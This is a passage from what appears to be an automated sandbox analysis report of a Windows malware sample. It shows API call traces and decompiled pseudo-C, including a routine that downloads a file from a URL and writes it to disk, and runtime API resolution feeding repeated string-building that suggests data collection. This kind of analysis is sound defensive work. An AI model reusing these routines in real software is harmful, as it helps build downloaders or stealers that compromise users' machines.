lstrcat.KERNEL32(?,0041A630), ref: 00585800
lstrcat.KERNEL32(?,H!H), ref: 00585813
lstrcat.KERNEL32(?,8LH), ref: 00585827
lstrcat.KERNEL32(?,0041A674), ref: 0058583B

Part of subcall function 00584C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00584C5E

Part of subcall function 00584C30: StrCmpCA.SHLWAPI(00000000,00418B84), ref: 00584C8A
Part of subcall function 00584C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00584CDF
Part of subcall function 00584C30: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00584D1F
Part of subcall function 00584C30: StrCmpCA.SHLWAPI(?,00418B8C), ref: 00584D35
Part of subcall function 00584C30: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00584D67
Part of subcall function 00584C30: InternetReadFile.WININET(?,?,00000400,?), ref: 00584D90
Part of subcall function 00584C30: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00584DBE
Part of subcall function 00584C30: CloseHandle.KERNEL32(?,?,00000400), ref: 00584E0C
Part of subcall function 00584C30: InternetCloseHandle.WININET(?), ref: 00584E16
Part of subcall function 00584C30: InternetCloseHandle.WININET(00000000), ref: 00584E23

Part of subcall function 00584C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00584D00
Part of subcall function 00584C30: Sleep.KERNEL32(00007530), ref: 00584D46

Strings

(gH, xrefs: 00585841, 00585846
HoH, xrefs: 00585706, 0058570C
8LH, xrefs: 005856F2, 005856F8, 0058572D, 00585733, 00585768, 0058576E, 005857A3, 005857A9, 005857DE, 005857E4, 00585819, 0058581F
H!H, xrefs: 005856DF, 005856E4, 0058571A, 0058571F, 00585755, 0058575A, 00585790, 00585795, 005857CB, 005857D0, 00585806, 0058580B
0iH, xrefs: 005858AD, 005858B3

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID: (gH$0iH$8LH$H!H$HoH
API String ID: 3671864319-2406492857
Opcode ID: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction ID: 769376d89ff2987f3646d16f830700edb3b41497f39d35e38b1f024afb856996
Opcode Fuzzy Hash: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction Fuzzy Hash: 556174B6511208ABC710EFA0DD88EDA37BCBB8C700F048599F715A2151DB74ABA8CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408C00, Relevance: 33.3, APIs: 22, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00408C2F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408C7C
RtlAllocateHeap.NTDLL(00000000), ref: 00408C83
lstrcat.KERNEL32(?,00487218), ref: 00408DEA
lstrcat.KERNEL32(?,004872B8), ref: 00408E10
lstrcat.KERNEL32(?,00487218), ref: 00408EC8
lstrcat.KERNEL32(?,004872B8), ref: 00408EEE
lstrcat.KERNEL32(?,?), ref: 00408F02
lstrcat.KERNEL32(?,004191EC), ref: 00408F14
lstrcat.KERNEL32(?,?), ref: 00408F28
lstrcat.KERNEL32(?,004191EC), ref: 00408F3A
lstrcat.KERNEL32(?,?), ref: 00408F4E
lstrcat.KERNEL32(?,004191EC), ref: 00408F60
lstrcat.KERNEL32(?,?), ref: 00408F74
lstrcat.KERNEL32(?,004191EC), ref: 00408F86
lstrcat.KERNEL32(?,?), ref: 00408F9A
lstrcat.KERNEL32(?,004191EC), ref: 00408FAC
lstrcat.KERNEL32(?,?), ref: 00408FC0
lstrcat.KERNEL32(?,004191EC), ref: 00408FD2
lstrcat.KERNEL32(?,?), ref: 00408FE6
lstrcat.KERNEL32(?,00418BC4), ref: 00408FF8
lstrlen.KERNEL32(?), ref: 0040900A

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 79335fd000e130bac099d4a3cf3f1a87a581dec1fb56b11847045475354a8be0
Instruction ID: 37d9e65b1a1885b2021265d91926de593cb986df4567ec96dbdd6e639e599f41
Opcode Fuzzy Hash: 79335fd000e130bac099d4a3cf3f1a87a581dec1fb56b11847045475354a8be0
Instruction Fuzzy Hash: A6C164B1A01218AFCB24DF64DD89BDE77B5AF48704F0081D9F609A7291CB399E90CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00588E50, Relevance: 33.3, APIs: 22, Instructions: 284stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00588E7F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00588ECC
RtlAllocateHeap.NTDLL(00000000), ref: 00588ED3
lstrcat.KERNEL32(?,0041A48C), ref: 0058903A
lstrcat.KERNEL32(?,0041A15C), ref: 00589060
lstrcat.KERNEL32(?,0041A48C), ref: 00589118
lstrcat.KERNEL32(?,0041A15C), ref: 0058913E
lstrcat.KERNEL32(?,?), ref: 00589152
lstrcat.KERNEL32(?,004191EC), ref: 00589164
lstrcat.KERNEL32(?,?), ref: 00589178
lstrcat.KERNEL32(?,004191EC), ref: 0058918A
lstrcat.KERNEL32(?,?), ref: 0058919E
lstrcat.KERNEL32(?,004191EC), ref: 005891B0
lstrcat.KERNEL32(?,?), ref: 005891C4
lstrcat.KERNEL32(?,004191EC), ref: 005891D6
lstrcat.KERNEL32(?,?), ref: 005891EA
lstrcat.KERNEL32(?,004191EC), ref: 005891FC
lstrcat.KERNEL32(?,?), ref: 00589210
lstrcat.KERNEL32(?,004191EC), ref: 00589222
lstrcat.KERNEL32(?,?), ref: 00589236
lstrcat.KERNEL32(?,00418BC4), ref: 00589248
lstrlen.KERNEL32(?), ref: 0058925A

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction ID: 9b33da9b972eef84a39db9b28668f612dbf86be5618a6fa39de2879242e849da
Opcode Fuzzy Hash: b972705f4d408f59d57428f6ec2d7c38fe99164d5a1f279b6c3d9cc0b8fe5810
Instruction Fuzzy Hash: B9C14FB5A01218AFCB24DF64DD89BEA7BB5BF48704F0081D8F609A7291C7359E90CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040A700, Relevance: 32.0, APIs: 3, Strings: 15, Instructions: 489
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E0040A700(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _t233;
				void* _t234;
				intOrPtr _t241;
				intOrPtr _t243;
				intOrPtr _t245;
				intOrPtr _t247;
				intOrPtr _t249;
				intOrPtr _t251;
				intOrPtr _t253;
				intOrPtr _t255;
				intOrPtr _t257;
				intOrPtr _t259;
				intOrPtr _t261;
				intOrPtr _t263;
				intOrPtr _t265;
				intOrPtr _t267;
				intOrPtr _t269;
				intOrPtr _t271;
				intOrPtr _t273;
				intOrPtr _t275;
				intOrPtr _t277;
				intOrPtr _t279;
				intOrPtr _t281;
				intOrPtr _t283;
				intOrPtr _t285;
				intOrPtr _t287;
				intOrPtr _t289;
				intOrPtr _t291;
				intOrPtr _t293;
				intOrPtr _t295;
				intOrPtr _t297;
				intOrPtr _t299;
				intOrPtr _t301;
				intOrPtr _t303;
				intOrPtr _t304;
				intOrPtr _t305;
				intOrPtr _t307;
				intOrPtr _t309;
				intOrPtr _t311;
				intOrPtr _t313;
				intOrPtr _t315;
				intOrPtr _t317;
				intOrPtr _t319;
				intOrPtr _t321;
				intOrPtr _t323;
				intOrPtr _t325;
				intOrPtr _t327;
				intOrPtr _t329;
				intOrPtr _t331;
				intOrPtr _t333;
				intOrPtr _t335;
				intOrPtr _t337;
				intOrPtr _t339;
				intOrPtr _t341;
				intOrPtr _t343;
				intOrPtr _t345;
				intOrPtr _t347;
				intOrPtr _t349;
				intOrPtr _t351;
				intOrPtr _t353;
				intOrPtr _t355;
				intOrPtr _t357;
				intOrPtr _t359;
				intOrPtr _t361;
				intOrPtr _t363;
				intOrPtr _t365;
				intOrPtr _t367;
				intOrPtr _t369;
				intOrPtr _t370;
				intOrPtr _t371;
				void* _t407;

				_t407 = __eflags;
				 *0x41a838 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
				E00407060();
				 *0x41a83c = 0;
				_t241 =  *0x41a290; // 0x488800
				_t307 =  *0x41a250; // 0x4864a8
				E0040A3F0(_t241, _t407, _t307, _t241, _a4, _a8, _a12, _a16);
				_t243 =  *0x41a1dc; // 0x487ee8
				_t309 =  *0x41a7a0; // 0x4883d8
				E0040A3F0(_t243, _t407, _t309, _t243, _a4, _a8, _a12, _a16);
				_t245 =  *0x41a750; // 0x487f00
				_t311 =  *0x41a09c; // 0x486890
				E0040A3F0(_t245, _t407, _t311, _t245, _a4, _a8, _a12, _a16);
				_t247 =  *0x41a27c; // 0x4889b0
				_t313 =  *0x41a7cc; // 0x488718
				E0040A3F0(_t247, _t407, _t313, _t247, _a4, _a8, _a12, _a16);
				_t249 =  *0x41a520; // 0x488840
				_t315 =  *0x41a638; // 0x488758
				E0040A3F0(_t249, _t407, _t315, _t249, _a4, _a8, _a12, _a16);
				_t251 =  *0x41a42c; // 0x488960
				_t317 =  *0x41a7d8; // 0x488438
				E0040A3F0(_t251, _t407, _t317, _t251, _a4, _a8, _a12, _a16);
				_t253 =  *0x41a5c8; // 0x4888a0
				_t319 =  *0x41a390; // 0x488458
				E0040A3F0(_t253, _t407, _t319, _t253, _a4, _a8, _a12, _a16);
				_t255 =  *0x41a47c; // 0x4887c0
				_t321 =  *0x41a068; // 0x486660
				E0040A3F0(_t255, _t407, _t321, _t255, _a4, _a8, _a12, _a16);
				_t257 =  *0x41a24c; // 0x487e88
				_t323 =  *0x41a168; // 0x488498
				E0040A3F0(_t257, _t407, _t323, _t257, _a4, _a8, _a12, _a16);
				_t259 =  *0x41a3e0; // 0x487ea0
				_t325 =  *0x41a1d4; // 0x487e28
				E0040A3F0(_t259, _t407, _t325, _t259, _a4, _a8, _a12, _a16);
				_t261 =  *0x41a028; // 0x488830
				_t327 =  *0x41a5e0; // 0x4884b8
				E0040A3F0(_t261, _t407, _t327, _t261, _a4, _a8, _a12, _a16);
				_t263 =  *0x41a614; // 0x4888c0
				_t329 =  *0x41a738; // 0x4864d0
				E0040A3F0(_t263, _t407, _t329, _t263, _a4, _a8, _a12, _a16);
				_t265 =  *0x41a444; // 0x4888d0
				_t331 =  *0x41a338; // 0x488038
				E0040A3F0(_t265, _t407, _t331, _t265, _a4, _a8, _a12, _a16);
				_t267 =  *0x41a094; // 0x488910
				_t333 =  *0x41a304; // 0x486750
				E0040A3F0(_t267, _t407, _t333, _t267, _a4, _a8, _a12, _a16);
				_t269 =  *0x41a440; // 0x4889a0
				_t335 =  *0x41a588; // 0x486840
				E0040A3F0(_t269, _t407, _t335, _t269, _a4, _a8, _a12, _a16);
				_t271 =  *0x41a54c; // 0x488940
				_t337 =  *0x41a764; // 0x488318
				E0040A3F0(_t271, _t407, _t337, _t271, _a4, _a8, _a12, _a16);
				_t273 =  *0x41a6e0; // 0x488850
				_t339 =  *0x41a6b4; // 0x488338
				E0040A3F0(_t273, _t407, _t339, _t273, _a4, _a8, _a12, _a16);
				_t275 =  *0x41a100; // 0x487db0
				_t341 =  *0x41a078; // 0x486868
				E0040A3F0(_t275, _t407, _t341, _t275, _a4, _a8, _a12, _a16);
				_t277 =  *0x41a708; // 0x488970
				_t343 =  *0x41a5c4; // 0x487e58
				E0040A3F0(_t277, _t407, _t343, _t277, _a4, _a8, _a12, _a16);
				_t279 =  *0x41a114; // 0x487e40
				_t345 =  *0x41a634; // 0x486778
				E0040A3F0(_t279, _t407, _t345, _t279, _a4, _a8, _a12, _a16);
				_t281 =  *0x41a3e8; // 0x488920
				_t347 =  *0x41a414; // 0x486348
				E0040A3F0(_t281, _t407, _t347, _t281, _a4, _a8, _a12, _a16);
				_t283 =  *0x41a398; // 0x4887f0
				_t349 =  *0x41a024; // 0x486520
				E0040A510(_t283, _t407, _t349, _t283, _a4, _a8, _a12, _a16);
				_t285 =  *0x41a3bc; // 0x488950
				_t351 =  *0x41a2c8; // 0x4861f8
				E0040A510(_t285, _t407, _t351, _t285, _a4, _a8, _a12, _a16);
				_t287 =  *0x41a5c0; // 0x487f18
				_t353 =  *0x41a320; // 0x486378
				E0040A3F0(_t287, _t407, _t353, _t287, _a4, _a8, _a12, _a16);
				_t289 =  *0x41a350; // 0x488980
				_t355 =  *0x41a0c4; // 0x4864f8
				E0040A620(_t289, _t407, _t355, _t289, _a4, _a8, _a12, _a16);
				_t291 =  *0x41a2ec; // 0x487f30
				_t357 =  *0x41a620; // 0x4860d8
				E0040A620(_t291, _t407, _t357, _t291, _a4, _a8, _a12, _a16);
				_t293 =  *0x41a020; // 0x487df8
				_t359 =  *0x41a704; // 0x4824b8
				E0040A620(_t293, _t407, _t359, _t293, _a4, _a8, _a12, _a16);
				_t295 =  *0x41a3d0; // 0x487dc8
				_t361 =  *0x41a224; // 0x488278
				E0040A620(_t295, _t407, _t361, _t295, _a4, _a8, _a12, _a16);
				_t297 =  *0x41a29c; // 0x487e10
				_t363 =  *0x41a7e0; // 0x4860a8
				E0040A620(_t297, _t407, _t363, _t297, _a4, _a8, _a12, _a16);
				_t299 =  *0x41a57c; // 0x487ed0
				_t365 =  *0x41a34c; // 0x4824f0
				E0040A620(_t299, _t407, _t365, _t299, _a4, _a8, _a12, _a16);
				_t301 =  *0x41a060; // 0x488810
				_t367 =  *0x41a0d0; // 0x486548
				E0040A620(_t301, _t407, _t367, _t301, _a4, _a8, _a12, _a16);
				_t303 =  *0x41a1ec; // 0x488820
				_t369 =  *0x41a6dc; // 0x487de0
				E0040A620(_t303, _t407, _t369, _t303, _a4, _a8, _a12, _a16);
				_t304 =  *0x41a21c; // 0x487f48
				_t370 =  *0x41a484; // 0x488198
				E0040A620(_t304, _t407, _t370, _t304, _a4, 0, 0, 0);
				E00406C10(_t304, _t407);
				_t233 =  *0x41a838; // 0x0
				_t234 =  *0x41a908(_t233);
				_t305 =  *0x41a838; // 0x0
				_t371 =  *0x41a660; // 0x487e70
				E004137E0(_a4, _t371, _t305, _t234);
				E0040B720(0x41a838, 4);
				E00407150();
				return E00407170();
			}

0x0040a700
0x0040a717
0x0040a71c
0x0040a721
0x0040a73b
0x0040a742
0x0040a749
0x0040a761
0x0040a768
0x0040a76f
0x0040a787
0x0040a78e
0x0040a795
0x0040a7ad
0x0040a7b4
0x0040a7bb
0x0040a7d3
0x0040a7da
0x0040a7e1
0x0040a7f9
0x0040a800
0x0040a807
0x0040a81f
0x0040a826
0x0040a82d
0x0040a845
0x0040a84c
0x0040a853
0x0040a86b
0x0040a872
0x0040a879
0x0040a891
0x0040a898
0x0040a89f
0x0040a8b7
0x0040a8be
0x0040a8c5
0x0040a8dd
0x0040a8e4
0x0040a8eb
0x0040a903
0x0040a90a
0x0040a911
0x0040a929
0x0040a930
0x0040a937
0x0040a94f
0x0040a956
0x0040a95d
0x0040a975
0x0040a97c
0x0040a983
0x0040a99b
0x0040a9a2
0x0040a9a9
0x0040a9c1
0x0040a9c8
0x0040a9cf
0x0040a9e7
0x0040a9ee
0x0040a9f5
0x0040aa0d
0x0040aa14
0x0040aa1b
0x0040aa33
0x0040aa3a
0x0040aa41
0x0040aa59
0x0040aa60
0x0040aa67
0x0040aa7f
0x0040aa86
0x0040aa8d
0x0040aaa5
0x0040aaac
0x0040aab3
0x0040aacb
0x0040aad2
0x0040aad9
0x0040aaf1
0x0040aaf8
0x0040aaff
0x0040ab17
0x0040ab1e
0x0040ab25
0x0040ab3d
0x0040ab44
0x0040ab4b
0x0040ab63
0x0040ab6a
0x0040ab71
0x0040ab89
0x0040ab90
0x0040ab97
0x0040abaf
0x0040abb6
0x0040abbd
0x0040abd5
0x0040abdc
0x0040abe3
0x0040abf5
0x0040abfc
0x0040ac03
0x0040ac0b
0x0040ac10
0x0040ac16
0x0040ac1d
0x0040ac24
0x0040ac2f
0x0040ac3e
0x0040ac43
0x0040ac4e

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 0040A70A
RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 00407060: LoadLibraryA.KERNEL32(00486688,?,0040A721,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 00407069
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00487B28), ref: 0040708F
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00488538), ref: 004070A7
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00487D80), ref: 004070BF
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,004883B8), ref: 004070D8
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00488418), ref: 004070F0
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00487D38), ref: 00407108
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00488638), ref: 00407121
Part of subcall function 00407060: GetProcAddress.KERNEL32(00000000,00488698), ref: 00407139

Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,00000000), ref: 0040A434
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,?), ref: 0040A459
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,00487C60), ref: 0040A46D

Part of subcall function 0040A510: lstrcat.KERNEL32(?,00000000), ref: 0040A554
Part of subcall function 0040A510: lstrcat.KERNEL32(?,?), ref: 0040A579
Part of subcall function 0040A510: lstrcat.KERNEL32(?,00487C60), ref: 0040A58D

Part of subcall function 0040A620: lstrcat.KERNEL32(?,00000000), ref: 0040A667
Part of subcall function 0040A620: lstrcat.KERNEL32(?,?), ref: 0040A67B
Part of subcall function 0040A620: lstrcat.KERNEL32(?,00487C78), ref: 0040A68F

Part of subcall function 00406C10: GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
Part of subcall function 00406C10: LoadLibraryA.KERNEL32(00487600), ref: 00406CAA

lstrlen.KERNEL32(00000000), ref: 0040AC16

Part of subcall function 00407150: FreeLibrary.KERNEL32(00000000,?,0040AC48,0041A838,00000004), ref: 00407159

Part of subcall function 00407170: FreeLibrary.KERNEL32(00000000,?,0040AC4D,0041A838,00000004), ref: 00407179

Strings

(~H, xrefs: 0040A898
HeH, xrefs: 0040ABB6
@hH, xrefs: 0040A956
~H, xrefs: 0040A761
p~H, xrefs: 0040AC24
X~H, xrefs: 0040A9EE
}H, xrefs: 0040ABDC
hhH, xrefs: 0040A9C8
`fH, xrefs: 0040A84C
xcH, xrefs: 0040AAAC
@~H, xrefs: 0040AA0D
PgH, xrefs: 0040A930
HcH, xrefs: 0040AA3A
eH, xrefs: 0040AA60
xgH, xrefs: 0040AA14

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$AddressProc$Library$FreeHeapLoad$AllocateProcessVersionlstrlen
String ID: eH$(~H$@hH$@~H$HcH$HeH$PgH$X~H$`fH$hhH$p~H$xcH$xgH$}H$~H
API String ID: 3801270024-3085424993
Opcode ID: 03ea32138174ade97947a4e722772fc4804841159976b09fb6024e78870fabe0
Instruction ID: a00dee89baef35c05d8f135df5621735fc6a2a2bdba59be032469b4e13cc99cb
Opcode Fuzzy Hash: 03ea32138174ade97947a4e722772fc4804841159976b09fb6024e78870fabe0
Instruction Fuzzy Hash: 830297B6615104BBCB04DF9DEC81DAB33BDAB8C704B04C51CBA1CD7255D634E961CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0058A950, Relevance: 32.0, APIs: 3, Strings: 15, Instructions: 489memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,005869FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 0058A95A
RtlAllocateHeap.NTDLL(00000000,?,005869FC), ref: 0058A961

Part of subcall function 005872B0: LoadLibraryA.KERNEL32(0041A6A4,?,0058A971,?,005869FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 005872B9
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,({H), ref: 005872DF
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,0041A0EC), ref: 005872F7
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,0041A43C), ref: 0058730F
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,0041A41C), ref: 00587328
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,0041A454), ref: 00587340
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,8}H), ref: 00587358
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,0041A570), ref: 00587371
Part of subcall function 005872B0: GetProcAddress.KERNEL32(0041A82C,0041A6F8), ref: 00587389

Part of subcall function 0058A640: lstrcat.KERNEL32(?,00000000), ref: 0058A684
Part of subcall function 0058A640: lstrcat.KERNEL32(?,?), ref: 0058A6A9
Part of subcall function 0058A640: lstrcat.KERNEL32(?,`|H), ref: 0058A6BD

Part of subcall function 0058A760: lstrcat.KERNEL32(?,00000000), ref: 0058A7A4
Part of subcall function 0058A760: lstrcat.KERNEL32(?,?), ref: 0058A7C9
Part of subcall function 0058A760: lstrcat.KERNEL32(?,`|H), ref: 0058A7DD

Part of subcall function 0058A870: lstrcat.KERNEL32(?,0041ABAC), ref: 0058A8B7
Part of subcall function 0058A870: lstrcat.KERNEL32(?,?), ref: 0058A8CB
Part of subcall function 0058A870: lstrcat.KERNEL32(?,x|H), ref: 0058A8DF

lstrlen.KERNEL32(0041A838), ref: 0058AE66

Part of subcall function 005873A0: FreeLibrary.KERNEL32(0041A82C,?,0058AE98,0041A838,00000004), ref: 005873A9

Part of subcall function 005873C0: FreeLibrary.KERNEL32(0041A824,?,0058AE9D,0041A838,00000004), ref: 005873C9

Strings

@~H, xrefs: 0058AC5D, 0058AC63
xcH, xrefs: 0058ACFC, 0058AD02
eH, xrefs: 0058ACB0, 0058ACB6
xgH, xrefs: 0058AC64, 0058AC6A
@hH, xrefs: 0058ABA6, 0058ABAC
HeH, xrefs: 0058AE06, 0058AE0C
X~H, xrefs: 0058AC3E, 0058AC44
~H, xrefs: 0058A9B1, 0058A9B7
`fH, xrefs: 0058AA9C, 0058AAA2
HcH, xrefs: 0058AC8A, 0058AC90
}H, xrefs: 0058AE2C, 0058AE32
p~H, xrefs: 0058AE74, 0058AE7A
(~H, xrefs: 0058AAE8, 0058AAEE
PgH, xrefs: 0058AB80, 0058AB86
hhH, xrefs: 0058AC18, 0058AC1E

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$AddressProc$Library$FreeHeap$AllocateLoadProcesslstrlen
String ID: eH$(~H$@hH$@~H$HcH$HeH$PgH$X~H$`fH$hhH$p~H$xcH$xgH$}H$~H
API String ID: 3556552367-3085424993
Opcode ID: 23dd1318b6aaf78c3d261367f3a5fd619d31d4c0f1ccad44dc404d9b888ac624
Instruction ID: 8ccf14ed1b8bf000445c2d78848e4ae7829cc4de8ea61b1c2a65fffdf837eb6a
Opcode Fuzzy Hash: 23dd1318b6aaf78c3d261367f3a5fd619d31d4c0f1ccad44dc404d9b888ac624
Instruction Fuzzy Hash: 9502B7B6605109BBC744EF98EC85DAB37BDBB8C700B04C11CBA1DD7255D634E921CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00401470, Relevance: 31.7, APIs: 1, Strings: 20, Instructions: 244
memoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00401470(intOrPtr _a4) {
				void _v268;
				intOrPtr _t26;
				intOrPtr _t28;
				intOrPtr _t30;
				intOrPtr _t33;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr _t40;
				intOrPtr _t42;
				intOrPtr _t44;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr _t51;
				intOrPtr _t54;
				intOrPtr _t56;
				intOrPtr _t58;
				intOrPtr _t61;
				intOrPtr _t63;
				intOrPtr _t65;
				intOrPtr _t68;
				intOrPtr _t70;
				intOrPtr _t77;
				intOrPtr _t79;
				intOrPtr _t80;
				intOrPtr _t81;
				intOrPtr _t83;
				intOrPtr _t84;
				intOrPtr _t85;
				intOrPtr _t87;
				intOrPtr _t88;
				intOrPtr _t89;
				intOrPtr _t91;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t95;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr _t100;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t106;
				intOrPtr _t108;
				intOrPtr _t109;
				intOrPtr _t110;
				intOrPtr _t112;
				intOrPtr _t113;
				intOrPtr _t114;
				intOrPtr _t116;
				intOrPtr _t117;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t121;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t129;
				intOrPtr _t130;
				intOrPtr _t132;
				void* _t156;

				_t77 =  *0x41a2f4; // 0x486eb8
				_t105 =  *0x41a72c; // 0x486e40
				_t26 =  *0x41a2a4; // 0x486dc8
				E00401200(_t77, _t156, 0, _t26, _t105, _t77, _a4);
				_t106 =  *0x41a5ec; // 0x4872c8
				_t28 =  *0x41a6bc; // 0x484d98
				_t79 =  *0x41a3c4; // 0x486f78
				E00401200(_t79, _t156, 0, _t79, _t28, _t106, _a4);
				_t30 =  *0x41a5ec; // 0x4872c8
				_t80 =  *0x41a284; // 0x484c58
				_t108 =  *0x41a28c; // 0x486e58
				E00401200(_t80, _t156, 0, _t108, _t80, _t30, _a4);
				_t81 =  *0x41a6e8; // 0x484b38
				_t109 =  *0x41a4d8; // 0x486f90
				_t33 =  *0x41a1d0; // 0x487348
				E00401200(_t81, _t156, 0, _t33, _t109, _t81, _a4);
				_t110 =  *0x41a3ac; // 0x484d78
				_t35 =  *0x41a4d8; // 0x486f90
				_t83 =  *0x41a1d0; // 0x487348
				E00401200(_t83, _t156, 0, _t83, _t35, _t110, _a4);
				_t37 =  *0x41a4bc; // 0x487110
				_t84 =  *0x41a3f0; // 0x484cf8
				_t112 =  *0x41a1d0; // 0x487348
				E00401200(_t84, _t156, 0, _t112, _t84, _t37, _a4);
				_t85 =  *0x41a690; // 0x487128
				_t113 =  *0x41a3f0; // 0x484cf8
				_t40 =  *0x41a1d0; // 0x487348
				E00401200(_t85, _t156, 0, _t40, _t113, _t85, _a4);
				_t114 =  *0x41a6b8; // 0x487158
				_t42 =  *0x41a3f0; // 0x484cf8
				_t87 =  *0x41a1d0; // 0x487348
				E00401200(_t87, _t156, 0, _t87, _t42, _t114, _a4);
				_t44 =  *0x41a670; // 0x487098
				_t88 =  *0x41a348; // 0x484b58
				_t116 =  *0x41a6d0; // 0x487140
				E00401200(_t88, _t156, 0, _t116, _t88, _t44, _a4);
				_t89 =  *0x41a558; // 0x484cb8
				_t117 =  *0x41a468; // 0x4870c8
				_t47 =  *0x41a758; // 0x4870b0
				E00401200(_t89, _t156, 0, _t47, _t117, _t89, _a4);
				_t118 =  *0x41a1a8; // 0x484cd8
				_t49 =  *0x41a0e8; // 0x484b78
				_t91 =  *0x41a464; // 0x487318
				E00401200(_t91, _t156, 0, _t91, _t49, _t118, _a4);
				_t51 =  *0x41a478; // 0x4870e0
				_t92 =  *0x41a61c; // 0x486638
				_t120 =  *0x41a344; // 0x4871e8
				E00401200(_t92, _t156, 0, _t120, _t92, _t51, _a4);
				_t93 =  *0x41a7a4; // 0x4872d8
				_t121 =  *0x41a61c; // 0x486638
				_t54 =  *0x41a344; // 0x4871e8
				E00401200(_t93, _t156, 0, _t54, _t121, _t93, _a4);
				_t122 =  *0x41a280; // 0x487298
				_t56 =  *0x41a61c; // 0x486638
				_t95 =  *0x41a344; // 0x4871e8
				E00401200(_t95, _t156, 0, _t95, _t56, _t122, _a4);
				_t58 =  *0x41a44c; // 0x487248
				_t96 =  *0x41a61c; // 0x486638
				_t124 =  *0x41a344; // 0x4871e8
				E00401200(_t96, _t156, 0, _t124, _t96, _t58, _a4);
				_t97 =  *0x41a1e8; // 0x4870f8
				_t125 =  *0x41a61c; // 0x486638
				_t61 =  *0x41a344; // 0x4871e8
